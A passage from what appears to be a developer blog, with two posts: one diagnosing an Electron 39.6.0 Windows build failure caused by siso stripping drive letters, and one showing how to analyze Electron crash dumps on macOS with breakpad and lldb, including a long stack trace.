[bun#29806]: https://github.com/oven-sh/bun/pull/29806 --- # Troubleshooting Electron 39.6.0 Tag Build Failure on Windows - URL: https://bugs.cc/posts/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/ (Markdown: https://bugs.cc/posts/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/index.md) - Language: English - Published: 2026-03-10 - Tags: electron - Translation (Chinese): https://bugs.cc/zh/posts/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/ It's been quite a while since I last built Electron on Windows. Yesterday afternoon, I tried building the [electron@39.6.0] tag, but it failed repeatedly. Strangely, the latest commit built without any issues. I ended up debugging it late into the night. I tried both PowerShell and Command Prompt, rebuilt the entire source tree from scratch, and even restarted my machine — to no avail. **Reproduction Environment:** - Electron 39.6.0 (tag) - Windows 10/11 - Tested in both PowerShell and Cmd My first suspicion was a depot_tools version issue, but [@electron/build-tools] updates depot_tools automatically before starting the build, so that wasn't the culprit. Switching to the latest commit worked fine, confirming the problem wasn't system-wide. The error suggested running `.\siso_failed_commands.bat` to replay the failed commands. When I executed it manually, the build succeeded without errors. ![Build Failure Log](https://bugs.cc/images/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/failed-log.jpg) ![Executing siso_failed_commands.bat](https://bugs.cc/images/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/siso-exec.png) Manually running the batch file worked perfectly. Taking a closer look at the error log, I spotted this: ```text err: fork/exec /Users/live/.electron_build_tools/third_party/depot_tools/bootstrap-2@3_11_8_chromium_35_bin/python3/bin/python3.exe: The system cannot find the path specified. ``` The `C:` drive letter had been dropped. However, the path in `siso_failed_commands.bat` still included it. ![siso_failed_commands.bat Content](https://bugs.cc/images/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/siso-bat-content.png) This indicated that siso (the build executor) was stripping the drive letter prefix when spawning processes (`C:\foo` → `\foo`). If the source code had been on the C: drive, the issue wouldn't have occurred. On Windows, paths starting with `/` are resolved relative to the root of the current drive of the process. By default, [@electron/build-tools] installs depot_tools to `%USERPROFILE%\.electron_build_tools\third_party`. The siso process was running with its working directory set to the build output folder: `D:\electron\release-39.6.0\src\out\Release`. Since my Electron source was on the D: drive, stripping the drive letter turned the Python path into: `D:/Users/live/.electron_build_tools/third_party/depot_tools/bootstrap-2@3_11_8_chromium_35_bin/python3/bin/python3.exe` Which obviously didn't exist — hence "The system cannot find the path specified." 🤷‍♂️ In short: the build only fails if depot_tools and the Electron/Chromium source tree are on **different drives**. This also explains why Electron's CI always succeeds. I eventually tracked the issue down to this Chromium change: **Root Cause:** In Go, slices are reference types. Modifying a slice in place affects all references sharing the same backing array, causing the modification to be incorrectly propagated to later uses. **Fix:** Use `slices.Clone()` to create an independent copy. For now, my workaround is to keep the Electron source tree on the C: drive. [electron@39.6.0]: https://github.com/electron/electron/tree/v39.6.0 [@electron/build-tools]: https://github.com/electron/build-tools --- # View and analyze Electron crashes on macOS - URL: https://bugs.cc/posts/view-and-analyze-electron-crashes-on-macos/ (Markdown: https://bugs.cc/posts/view-and-analyze-electron-crashes-on-macos/index.md) - Language: English - Published: 2024-10-15 - Tags: electron - Translation (Chinese): https://bugs.cc/zh/posts/view-and-analyze-electron-crashes-on-macos/ When developing an Electron application, you might encounter crashes. However, for various reasons, the application may not have integrated Sentry or other crash analysis platforms. In such cases, you need to manually check the crash logs to identify the issue. ## Locating Local Crash Logs Since Electron is based on Chromium, the crash-related operations are largely consistent with Chromium. In the [Chromium crash-reports], we can see that crash files are stored in the `~/Library/Application\ Support/Chromium/Crashpad/completed` directory. However, since we are using an Electron application and there is no "submission" process, the crash files are kept in the `~/Library/Application\ Support/Chromium/Crashpad/pending` directory. Before searching, remember to replace `Chromium` in the above directories with your application name, such as `OOMOL Studio`. If you have encountered many crashes, you’ll find numerous *.dmp files in this directory. Generally, we only need to analyze the most recent crash, so the latest file is the one we require. ## Analyzing Crash Files ### Using `breakpad` breakpad is an open-source crash analysis tool developed by Google, specifically for Chromium. We can use this tool to analyze our *dmp* files. ```sh git clone https://chromium.googlesource.com/breakpad/breakpad cd breakpad ./configure make # Optional make install ``` After executing the above command, you can parse the dmp using `./src/processor/minidump_stackwalk`, or you can directly use `minidump_stackwalk` (if you executed `make install`). The basic usage method is: ```sh minidump_stackwalk /path/to/your.dmp [/path/to/symbols] ``` If you use `minidump_stackwalk /path/to/your.dmp`, the output you get will only be addresses, and you won't be able to see the function names. Therefore, we need to provide a symbol file in order to see the function names. You can download the symbol file by running: `wget https://github.com/electron/electron/releases/download//electron--darwin-arm64-symbols.zip`. For my own case, I downloaded: ```sh wget https://github.com/electron/electron/releases/download/v30.5.1/electron-v30.5.1-darwin-arm64-symbols.zip ``` This file is specifically prepared for `breakpad`, so we can directly unzip it to a certain directory and then use that directory as a parameter to pass to `minidump_stackwalk`. ```sh minidump_stackwalk ./0c6d2547-6694-4109-b82e-cc3e6331885f.dmp ./electron-v30.5.1-darwin-arm64-symbols/breakpad_symbols ``` Next, you will be able to see the detailed crash information. In my case, the result I got is: ```text Operating system: Mac OS X 14.6.1 23G93 CPU: arm64 12 CPUs GPU: UNKNOWN Crash reason: EXC_BREAKPOINT / 0x00000001 Crash address: 0x1129666c8 Process uptime: 0 seconds Thread 0 (crashed) 0 Electron Framework!v8::base::OS::Abort() [platform-posix.cc : 699 + 0x0] x0 = 0x0000000000000000 x1 = 0x0000000000000000 x2 = 0x00000000000120a8 x3 = 0x00000001117656e0 x4 = 0x00000001804b5a5f x5 = 0x000000016b046af0 x6 = 0x000000000000000a x7 = 0x0000000000000000 x8 = 0x0000000000000001 x9 = 0x00000001e83ff610 x10 = 0x0000000000000002 x11 = 0x00000000fffffffd x12 = 0x0000010000000000 x13 = 0x0000000000000000 x14 = 0x0000000000000000 x15 = 0x0000000000000000 x16 = 0x00000001805657d4 x17 = 0x00000001f2af63e0 x18 = 0x0000000000000000 x19 = 0x0000013c002cf000 x20 = 0x0000000115675980 x21 = 0x0000013c002c0000 x22 = 0x000000016b04fc28 x23 = 0x000000000000ded0 x24 = 0x000000016b04fd0e x25 = 0x000000016b047448 x26 = 0x0000000000010820 x27 = 0x000000000000e838 x28 = 0x0000013c002d0540 fp = 0x000000016b0473e0 lr = 0x000000011295e6ec sp = 0x000000016b0473e0 pc = 0x00000001129666c8 Found by: given as instruction pointer in context 1 Electron Framework!v8::base::FatalOOM(v8::base::OOMType, char const*) [logging.cc : 94 + 0x0] x19 = 0x0000013c002cf000 x20 = 0x0000000115675980 x21 = 0x0000013c002c0000 x22 = 0x000000016b04fc28 x23 = 0x000000000000ded0 x24 = 0x000000016b04fd0e x25 = 0x000000016b047448 x26 = 0x0000000000010820 x27 = 0x000000000000e838 x28 = 0x0000013c002d0540 fp = 0x000000016b047400 sp = 0x000000016b0473f0 pc = 0x000000011295e6ec Found by: call frame info 2 Electron Framework!v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [api.cc : 341 + 0x0] x19 = 0x0000013c002cf000 x20 = 0x0000000115675980 x21 = 0x0000013c002c0000 x22 = 0x000000016b04fc28 x23 = 0x000000000000ded0 x24 = 0x000000016b04fd0e x25 = 0x000000016b047448 x26 = 0x0000000000010820 x27 = 0x000000000000e838 x28 = 0x0000013c002d0540 fp = 0x000000016b047420 sp = 0x000000016b047410 pc = 0x000000010f5c66f4 Found by: call frame info 3 Electron Framework!v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [api.cc : 301 + 0xc] x19 = 0x0000000115e75e8d x20 = 0x0000000115675980 x21 = 0x0000013c002c0000 x22 = 0x000000016b04fc28 x23 = 0x000000000000ded0 x24 = 0x000000016b04fd0e x25 = 0x000000016b047448 x26 = 0x0000000000010820 x27 = 0x000000000000e838 x28 = 0x0000013c002d0540 fp = 0x000000016b050150 sp = 0x000000016b047430 pc = 0x000000010f5c6638 Found by: call frame info 4 Electron Framework!v8::internal::(anonymous namespace)::InitProcessWideCodeRange(v8::PageAllocator*, unsigned long) [code-range.cc : 458 + 0x14] x19 = 0x0000013c000c1a40 x20 = 0x0000000010000000 x21 = 0x0000013c000c1a80 x22 = 0x0000013c002cf2d8 x23 = 0x0000000000000000 x24 = 0x0000000000000000 x25 = 0x0000013c002c0110 x26 = 0x0000000000010820 x27 = 0x000000000000e838 x28 = 0x0000013c002d0540 fp = 0x000000016b050180 sp = 0x000000016b050160 pc = 0x000000010f71ce70 Found by: call frame info 5 Electron Framework!v8::base::CallOnceImpl(std::__Cr::atomic*, std::__Cr::function) [function.h : 428 + 0x8] x19 = 0x0000000116de0e90 x20 = 0x0000013c000d0b40 x21 = 0x0000013c002cdec0 x22 = 0x0000013c002cf2d8 x23 = 0x0000000000000000 x24 = 0x0000000000000000 x25 = 0x0000013c002c0110 x26 = 0x0000000000010820 x27 = 0x000000000000e838 x28 = 0x0000013c002d0540 fp = 0x000000016b0501a0 sp = 0x000000016b050190 pc = 0x0000000112962d28 Found by: call frame info 6 Electron Framework!v8::internal::CodeRange::EnsureProcessWideCodeRange(v8::PageAllocator*, unsigned long) [once.h : 101 + 0x10] x19 = 0x000000016b0501b8 x20 = 0x0000013c000d0b40 x21 = 0x0000013c002cdec0 x22 = 0x0000013c002cf2d8 x23 = 0x0000000000000000 x24 = 0x0000000000000000 x25 = 0x0000013c002c0110 x26 = 0x0000000000010820 x27 = 0x000000000000e838 x28 = 0x0000013c002d0540 fp = 0x000000016b0501f0 sp = 0x000000016b0501b0 pc = 0x000000010f71cd64 Found by: call frame info 7 Electron Framework!v8::internal::Heap::SetUp(v8::internal::LocalHeap*) [heap.cc : 5530 + 0x4] x19 = 0x0000013c002cded0 x20 = 0x0000000010000000 x21 = 0x0000013c002cdec0 x22 = 0x0000013c002cf2d8 x23 = 0x0000000000000000 x24 = 0x0000000000000000 x25 = 0x0000013c002c0110 x26 = 0x0000000000010820 x27 = 0x000000000000e838 x28 = 0x0000013c002d0540 fp = 0x000000016b0502a0 sp = 0x000000016b050200 pc = 0x000000010f791418 Found by: call frame info 8 Electron Framework!v8::internal::Isolate::Init(v8::internal::SnapshotData*, v8::internal::SnapshotData*, v8::internal::SnapshotData*, bool) [isolate.cc : 4719 + 0x0] x19 = 0x0000013c002c0000 x20 = 0x000000016b050930 x21 = 0x0000013c002cdec0 x22 = 0x0000013c002cf2d8 x23 = 0x0000000000000000 x24 = 0x0000000000000000 x25 = 0x0000013c002c0110 x26 = 0x0000000000010820 x27 = 0x000000000000e838 x28 = 0x0000013c002d0540 fp = 0x000000016b0508e0 sp = 0x000000016b0502b0 pc = 0x000000010f6f5218 Found by: call frame info 9 Electron Framework!v8::internal::Isolate::InitWithSnapshot(v8::internal::SnapshotData*, v8::internal::SnapshotData*, v8::internal::SnapshotData*, bool) [isolate.cc : 4376 + 0x0] x19 = 0x0000013c002c0000 x20 = 0x0000000116dfabd8 x21 = 0x0000013c002d0680 x22 = 0x0000013c002cee98 x23 = 0x0000000000000000 x24 = 0x0000013c002c0000 x25 = 0x0000013c000a0280 x26 = 0x0000000116d82000 x27 = 0x0000000000000000 x28 = 0x000000016b0510c0 fp = 0x000000016b0508f0 sp = 0x000000016b0508f0 pc = 0x000000010f6f5d80 Found by: call frame info 10 Electron Framework!v8::internal::Snapshot::Initialize(v8::internal::Isolate*) [snapshot.cc : 198 + 0x10] x19 = 0x0000013c002c0000 x20 = 0x0000000116dfabd8 x21 = 0x0000013c002d0680 x22 = 0x0000013c002cee98 x23 = 0x0000000000000000 x24 = 0x0000013c002c0000 x25 = 0x0000013c000a0280 x26 = 0x0000000116d82000 x27 = 0x0000000000000000 x28 = 0x000000016b0510c0 fp = 0x000000016b0509d0 sp = 0x000000016b050900 pc = 0x000000010fb92e5c Found by: call frame info 11 Electron Framework!v8::Isolate::Initialize(v8::Isolate*, v8::Isolate::CreateParams const&) [api.cc : 9725 + 0x4] x19 = 0x0000013c002c0000 x20 = 0x0000013c00042f40 x21 = 0x0000013c002d0680 x22 = 0x0000013c002cee98 x23 = 0x0000000000000000 x24 = 0x0000013c002c0000 x25 = 0x0000013c000a0280 x26 = 0x0000000116d82000 x27 = 0x0000000000000000 x28 = 0x000000016b0510c0 fp = 0x000000016b050a10 sp = 0x000000016b0509e0 pc = 0x000000010f5ea6ac Found by: call frame info 12 Electron Framework!gin::IsolateHolder::IsolateHolder(scoped_refptr, gin::IsolateHolder::AccessMode, gin::IsolateHolder::IsolateType, std::__Cr::unique_ptr>, gin::IsolateHolder::IsolateCreationMode, scoped_refptr, v8::Isolate*) [isolate_holder.cc : 122 + 0x0] x19 = 0x0000013c00161688 x20 = 0x0000013c00020360 x21 = 0x000000016b050a88 x22 = 0x0000000000000000 x23 = 0x0000000000000000 x24 = 0x0000013c002c0000 x25 = 0x0000013c000a0280 x26 = 0x0000000116d82000 x27 = 0x0000000000000000 x28 = 0x000000016b0510c0 fp = 0x000000016b050a60 sp = 0x000000016b050a20 pc = 0x0000000112aff208 Found by: call frame info 13 Electron Framework!electron::JavascriptEnvironment::JavascriptEnvironment(uv_loop_s*, bool) [javascript_environment.cc : 97 + 0x1c] x19 = 0x0000013c00161680 x20 = 0x0000013c00161688 x21 = 0x0000013c002c0000 x22 = 0x0000000000000000 x23 = 0x0000000000000000 x24 = 0x000000016b050d20 x25 = 0x0000000116d82000 x26 = 0x0000013c00092ac8 x27 = 0x0000000000000000 x28 = 0x000000016b0510c0 fp = 0x000000016b050ab0 sp = 0x000000016b050a70 pc = 0x000000010e4cd8e8 Found by: call frame info 14 Electron Framework!electron::NodeService::Initialize(mojo::StructPtr) [unique_ptr.h : 621 + 0x8] x19 = 0x0000013c00170d20 x20 = 0x000000016b050c70 x21 = 0x0000000116dd4c08 x22 = 0x0000000000000000 x23 = 0x0000000000000000 x24 = 0x000000016b050d20 x25 = 0x0000000116d82000 x26 = 0x0000013c00092ac8 x27 = 0x0000000000000000 x28 = 0x000000016b0510c0 fp = 0x000000016b050c60 sp = 0x000000016b050ac0 pc = 0x000000010e581fac Found by: call frame info 15 Electron Framework!node::mojom::NodeServiceStubDispatch::Accept(node::mojom::NodeService*, mojo::Message*) [node_service.mojom.cc : 278 + 0x10] x19 = 0x0000013c00170d20 x20 = 0x000000016b051150 x21 = 0x0000013c00082d00 x22 = 0x0000000000000000 x23 = 0x0000000000000000 x24 = 0x000000016b050d20 x25 = 0x0000000116d82000 x26 = 0x0000013c00092ac8 x27 = 0x0000000000000000 x28 = 0x000000016b0510c0 fp = 0x000000016b050c90 sp = 0x000000016b050c70 pc = 0x000000011147d9bc Found by: call frame info 16 Electron Framework!mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) [interface_endpoint_client.cc : 1021 + 0xc] x19 = 0x0000013c00082d00 x20 = 0x000000016b051150 x21 = 0x0000013c00082d00 x22 = 0x0000000000000000 x23 = 0x0000000000000000 x24 = 0x000000016b050d20 x25 = 0x0000000116d82000 x26 = 0x0000013c00092ac8 x27 = 0x0000000000000000 x28 = 0x000000016b0510c0 fp = 0x000000016b050dd0 sp = 0x000000016b050ca0 pc = 0x00000001119d1108 Found by: call frame info 17 Electron Framework!mojo::MessageDispatcher::Accept(mojo::Message*) [message_dispatcher.cc : 43 + 0xc] x19 = 0x000000016b051150 x20 = 0x0000013c00082de8 x21 = 0x000000016b051150 x22 = 0x0000013c00082d00 x23 = 0x0000000000000000 x24 = 0x000000016b0510c0 x25 = 0x0000000000000000 x26 = 0x0000013c00092ac8 x27 = 0x0000000000000000 x28 = 0x000000016b0510c0 fp = 0x000000016b050e30 sp = 0x000000016b050de0 pc = 0x00000001119d5b78 Found by: call frame info 18 Electron Framework!mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) [interface_endpoint_client.cc : 706 + 0x4] x19 = 0x00000001158a778e x20 = 0x0000000028bc8f23 x21 = 0x000000016b051150 x22 = 0x0000013c00082d00 x23 = 0x0000000000000000 x24 = 0x000000016b0510c0 x25 = 0x0000000000000000 x26 = 0x0000013c00092ac8 x27 = 0x0000000000000000 x28 = 0x000000016b0510c0 fp = 0x000000016b050fa0 sp = 0x000000016b050e40 pc = 0x00000001119d2d40 Found by: call frame info 19 Electron Framework!mojo::internal::MultiplexRouter::Accept(mojo::Message*) [multiplex_router.cc : 1096 + 0x8] x19 = 0x0000013c00092800 x20 = 0x0000013c000c1040 x21 = 0x0000000000000000 x22 = 0x0000013c00082d00 x23 = 0x0000000000000000 x24 = 0x000000016b0510c0 x25 = 0x0000000000000000 x26 = 0x0000013c00092ac8 x27 = 0x0000000000000000 x28 = 0x000000016b0510c0 fp = 0x000000016b051230 sp = 0x000000016b050fb0 pc = 0x00000001119de6cc Found by: call frame info 20 Electron Framework!mojo::MessageDispatcher::Accept(mojo::Message*) [message_dispatcher.cc : 43 + 0xc] x19 = 0x000000016b051300 x20 = 0x0000013c00092830 x21 = 0x0000000000000000 x22 = 0x0000013c000509e0 x23 = 0x000000016b051300 x24 = 0xaaaaaaaaaaaaaaaa x25 = 0x000000016b051380 x26 = 0x0000000000000000 x27 = 0x0000000000000008 x28 = 0x0000000116d82000 fp = 0x000000016b051290 sp = 0x000000016b051240 pc = 0x00000001119d5b78 Found by: call frame info 21 Electron Framework!base::internal::Invoker, base::internal::BindState, base::internal::UnretainedWrapper>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [connector.cc : 554 + 0xc] x19 = 0x0000013c00092860 x20 = 0x0000013c00092a10 x21 = 0x0000000000000000 x22 = 0x0000013c000509e0 x23 = 0x000000016b051300 x24 = 0xaaaaaaaaaaaaaaaa x25 = 0x000000016b051380 x26 = 0x0000000000000000 x27 = 0x0000000000000008 x28 = 0x0000000116d82000 fp = 0x000000016b051420 sp = 0x000000016b0512a0 pc = 0x00000001119ce6a8 Found by: call frame info 22 Electron Framework!base::internal::Invoker const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback const&>, base::internal::BindState const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [callback.h : 344 + 0x4] x19 = 0x0000013c00073070 x20 = 0x0000013c001603c0 x21 = 0x0000013c00160240 x22 = 0x0000000000000000 x23 = 0x0000013c00062f80 x24 = 0x000000016b0514e8 x25 = 0x0000000116d82000 x26 = 0x0000000000000000 x27 = 0x0000000116eda000 x28 = 0x00000001158a778e fp = 0x000000016b051440 sp = 0x000000016b051430 pc = 0x000000010e404a4c Found by: call frame info 23 Electron Framework!base::internal::Invoker&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [callback.h : 344 + 0x8] x19 = 0x0000000116d82000 x20 = 0x0000013c001603c0 x21 = 0x0000013c00160240 x22 = 0x0000000000000000 x23 = 0x0000013c00062f80 x24 = 0x000000016b0514e8 x25 = 0x0000000116d82000 x26 = 0x0000000000000000 x27 = 0x0000000116eda000 x28 = 0x00000001158a778e fp = 0x000000016b051580 sp = 0x000000016b051450 pc = 0x00000001119f2388 Found by: call frame info 24 Electron Framework!base::TaskAnnotator::RunTaskImpl(base::PendingTask&) [callback.h : 156 + 0x0] x19 = 0x0000013c00261000 x20 = 0x0000012800440270 x21 = 0x0000000000000000 x22 = 0x0000000000000000 x23 = 0x0000013c00080000 x24 = 0xaaaaaaaaaaaaaaaa x25 = 0x0000000116d82000 x26 = 0x0000000000000000 x27 = 0xaaaaaaaaaaaaaa00 x28 = 0x0000000000000000 fp = 0x000000016b051600 sp = 0x000000016b051590 pc = 0x00000001116bea7c Found by: call frame info 25 Electron Framework!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) [task_annotator.h : 90 + 0x8] x19 = 0x0000013c00261000 x20 = 0xaaaaaaaaaaaaaa00 x21 = 0x0000000000000019 x22 = 0x0000000000000000 x23 = 0x0000013c00080000 x24 = 0xaaaaaaaaaaaaaaaa x25 = 0x0000000116d82000 x26 = 0x0000000000000000 x27 = 0xaaaaaaaaaaaaaa00 x28 = 0x0000000000000000 fp = 0x000000016b051880 sp = 0x000000016b051610 pc = 0x00000001116d8f5c Found by: call frame info 26 Electron Framework!non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() [thread_controller_with_message_pump_impl.cc : 338 + 0xc] x19 = 0x000000016b051920 x20 = 0x0000013c000800e8 x21 = 0x0000013c00080000 x22 = 0xaaaaaaaaaaaaaaaa x23 = 0x7fffffffffffffff x24 = 0x0000000000000000 x25 = 0x0000000000000016 x26 = 0x0000000000000000 x27 = 0x0000000000000000 x28 = 0x0000000000000000 fp = 0x000000016b051910 sp = 0x000000016b051890 pc = 0x00000001116d956c Found by: call frame info 27 Electron Framework!base::MessagePumpDefault::Run(base::MessagePump::Delegate*) [message_pump_default.cc : 40 + 0x8] x19 = 0x0000013c00060440 x20 = 0x0000013c000800e8 x21 = 0x0000000000000001 x22 = 0xaaaaaaaaaaaaaaaa x23 = 0x7fffffffffffffff x24 = 0x0000000000000000 x25 = 0x0000000000000016 x26 = 0x0000000000000000 x27 = 0x0000000000000000 x28 = 0x0000000000000000 fp = 0x000000016b051980 sp = 0x000000016b051920 pc = 0x000000011168056c Found by: call frame info 28 Electron Framework!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) [thread_controller_with_message_pump_impl.cc : 641 + 0x0] x19 = 0x0000013c00080000 x20 = 0x0000000000000001 x21 = 0x7fffffffffffffff x22 = 0x0000000000000001 x23 = 0x7ffffffffffffff7 x24 = 0x000000016b051b58 x25 = 0x0000000000000016 x26 = 0x0000000000000000 x27 = 0x0000000000000000 x28 = 0x0000000000000000 fp = 0x000000016b0519d0 sp = 0x000000016b051990 pc = 0x00000001116d9bd4 Found by: call frame info 29 Electron Framework!base::RunLoop::Run(base::Location const&) [run_loop.cc : 134 + 0x4] x19 = 0x000000016b051b10 x20 = 0x000000016b051ad0 x21 = 0x000000016b0519e8 x22 = 0x0000000000000000 x23 = 0x7ffffffffffffff7 x24 = 0x000000016b051b58 x25 = 0x0000000000000016 x26 = 0x0000000000000000 x27 = 0x0000000000000000 x28 = 0x0000000000000000 fp = 0x000000016b051ab0 sp = 0x000000016b0519e0 pc = 0x00000001116a4f04 Found by: call frame info 30 Electron Framework!content::UtilityMain(content::MainFunctionParams) [utility_main.cc : 439 + 0x24] x19 = 0x00000128002ce5b0 x20 = 0x0000000000000007 x21 = 0x0000000115652ec1 x22 = 0x000000016b051ad7 x23 = 0x7ffffffffffffff7 x24 = 0x000000016b051b58 x25 = 0x0000000000000016 x26 = 0x0000000000000000 x27 = 0x0000000000000000 x28 = 0x0000000000000000 fp = 0x000000016b051c50 sp = 0x000000016b051ac0 pc = 0x00000001110e24c4 Found by: call frame info 31 Electron Framework!content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string, std::__Cr::allocator> const&, content::MainFunctionParams, content::ContentMainDelegate*) [content_main_runner_impl.cc : 775 + 0x4] x19 = 0x00000001110e1dd8 x20 = 0x000000016b0521f0 x21 = 0x000000016b051dd0 x22 = 0x0000000116ae4668 x23 = 0x000000016b051e98 x24 = 0x0000000000000007 x25 = 0x000000018028fe0b x26 = 0x0000000000000000 x27 = 0x0000000000000000 x28 = 0x0000000000000000 fp = 0x000000016b051db0 sp = 0x000000016b051c60 pc = 0x000000010e6ef7e4 Found by: call frame info 32 Electron Framework!content::ContentMainRunnerImpl::Run() [content_main_runner_impl.cc : 1150 + 0x8] x19 = 0x00000128002e0280 x20 = 0x000000016b051dd0 x21 = 0x000000016b051e50 x22 = 0x000000016b051e98 x23 = 0x0000000000000007 x24 = 0x0000000000000007 x25 = 0x000000018028fe0b x26 = 0x0000000000000000 x27 = 0x0000000000000000 x28 = 0x0000000000000000 fp = 0x000000016b051ef0 sp = 0x000000016b051dc0 pc = 0x000000010e6f04e0 Found by: call frame info 33 Electron Framework!content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) [content_main.cc : 331 + 0x4] x19 = 0x00000128002e0280 x20 = 0x0000000000000007 x21 = 0x000000016b051f08 x22 = 0x0000000000000007 x23 = 0x000000016b052040 x24 = 0x000000016b052380 x25 = 0x000000018028fe0b x26 = 0x0000000000000000 x27 = 0x0000000000000000 x28 = 0x0000000000000000 fp = 0x000000016b052100 sp = 0x000000016b051f00 pc = 0x000000010e6eee84 Found by: call frame info 34 Electron Framework!content::ContentMain(content::ContentMainParams) [content_main.cc : 344 + 0x4] x19 = 0x000000016b052178 x20 = 0x000000016b052110 x21 = 0x0000000116d82000 x22 = 0x0000000000000080 x23 = 0x000000016b0522f0 x24 = 0x000000016b052380 x25 = 0x000000018028fe0b x26 = 0x0000000000000000 x27 = 0x0000000000000000 x28 = 0x0000000000000000 fp = 0x000000016b052160 sp = 0x000000016b052110 pc = 0x000000010e6ef048 Found by: call frame info 35 Electron Framework!ElectronMain [electron_library_main.mm : 26 + 0x4] x19 = 0x000000016b0524f0 x20 = 0x0000000000000014 x21 = 0x0000000116d82000 x22 = 0x0000000000000080 x23 = 0x000000016b0522f0 x24 = 0x000000016b052380 x25 = 0x000000018028fe0b x26 = 0x0000000000000000 x27 = 0x0000000000000000 x28 = 0x0000000000000000 fp = 0x000000016b052250 sp = 0x000000016b052170 pc = 0x000000010e3c852c Found by: call frame info 36 Electron Framework!ElectronMain [electron_library_main.mm : 26 + 0x4] fp = 0x000000016b0522a0 lr = 0x0000000104daca50 sp = 0x000000016b052260 pc = 0x000000010e3c852c Found by: previous frame's frame pointer 37 OOMOL Studio Helper (Plugin) + 0xa4c fp = 0x000000016b0524d0 lr = 0x000000018021b154 sp = 0x000000016b0522b0 pc = 0x0000000104daca50 Found by: previous frame's frame pointer 38 dyld + 0x6150 fp = 0x0000000000000000 lr = 0x534b800000000000 sp = 0x000000016b0524e0 pc = 0x000000018021b154 Found by: previous frame's frame pointer ... ... ``` It can be seen that the cause of the crash here is that the `Helper (Plugin)` process (corresponding to `AppName Helper (Plugin).app` in electron) failed to allocate memory when using `UtilityMain` (corresponding to [utilityProcess] in electron), leading to the crash. Combining this with our business needs: when we use electron's `utilityProcess.fork` method, the v8 engine in the forked script is unable to allocate memory, resulting in a crash. Ultimately, we found that this was caused by the lack of the `com.apple.security.cs.allow-jit` entitlement in the `entitlements` we declared for `AppName Helper (Plugin).app` during the code signing process. ### Using `lldb` Personally, I would prefer using `lldb` to investigate the cause of the crash, as its output is more intuitive. First, use the following command to download the dsym file: ```sh wget https://github.com/electron/electron/releases/download/v30.5.1/electron-v30.5.1-darwin-arm64-dsym.zip ``` After decompressing is complete, we need to set the search path for `lldb` and execute `bt` to view: ```sh lldb -c ./0c6d2547-6694-4109-b82e-cc3e6331885f.dmp -o "settings set target.exec-search-paths ./electron-v30.5.1-darwin-arm64-dsym" -o "bt" ``` The final output is as follows: ```text * thread #1, stop reason = EXC_BREAKPOINT (code=1, subcode=0x1129666c8) * frame #0: 0x00000001129666c8 Electron Framework`v8::base::OS::Abort() [inlined] v8::base::OS::Abort()::$_0::operator()(this=) const at platform-posix.cc:699:7 [opt] frame #1: 0x00000001129666c8 Electron Framework`v8::base::OS::Abort() at platform-posix.cc:699:7 [opt] frame #2: 0x000000011295e6ec Electron Framework`v8::base::FatalOOM(type=, msg=) at logging.cc:94:3 [opt] frame #3: 0x000000010f5c66f4 Electron Framework`v8::Utils::ReportOOMFailure(i_isolate=, location=, details=) at api.cc:341:7 [opt] frame #4: 0x000000010f5c6638 Electron Framework`v8::internal::V8::FatalProcessOutOfMemory(i_isolate=0x0000013c002c0000, location="", details=0x0000000115675980) at api.cc:301:3 [opt] frame #5: 0x000000010f71ce70 Electron Framework`v8::internal::(anonymous namespace)::InitProcessWideCodeRange(page_allocator=, requested_size=) at code-range.cc:458:5 [opt] frame #6: 0x0000000112962d28 Electron Framework`v8::base::CallOnceImpl(std::__Cr::atomic*, std::__Cr::function) [inlined] std::__Cr::__function::__value_func::operator()(this=) const at function.h:428:12 [opt] frame #7: 0x0000000112962d14 Electron Framework`v8::base::CallOnceImpl(std::__Cr::atomic*, std::__Cr::function) [inlined] std::__Cr::function::operator()(this=) const at function.h:981:10 [opt] frame #8: 0x0000000112962d14 Electron Framework`v8::base::CallOnceImpl(once=0x0000000116de0e90, init_func=) at once.cc:36:5 [opt] frame #9: 0x000000010f71cd64 Electron Framework`v8::internal::CodeRange::EnsureProcessWideCodeRange(v8::PageAllocator*, unsigned long) [inlined] void v8::base::CallOnce(once=, init_func=, args=, args=) at once.h:101:5 [opt] frame #10: 0x000000010f71cd10 Electron Framework`v8::internal::CodeRange::EnsureProcessWideCodeRange(page_allocator=0x0000013c000d0b40, requested_size=) at code-range.cc:475:3 [opt] frame #11: 0x000000010f791418 Electron Framework`v8::internal::Heap::SetUp(this=0x0000013c002cded0, main_thread_local_heap=) at heap.cc:5530:19 [opt] frame #12: 0x000000010f6f5218 Electron Framework`v8::internal::Isolate::Init(this=0x0000013c002c0000, startup_snapshot_data=0x000000016b050960, read_only_snapshot_data=0x000000016b050948, shared_heap_snapshot_data=0x000000016b050930, can_rehash=true) at isolate.cc:4719:9 [opt] frame #13: 0x000000010f6f5d80 Electron Framework`v8::internal::Isolate::InitWithSnapshot(this=, startup_snapshot_data=, read_only_snapshot_data=, shared_heap_snapshot_data=, can_rehash=) at isolate.cc:4376:10 [opt] frame #14: 0x000000010fb92e5c Electron Framework`v8::internal::Snapshot::Initialize(isolate=0x0000013c002c0000) at snapshot.cc:198:19 [opt] frame #15: 0x000000010f5ea6ac Electron Framework`v8::Isolate::Initialize(v8_isolate=0x0000013c002c0000, 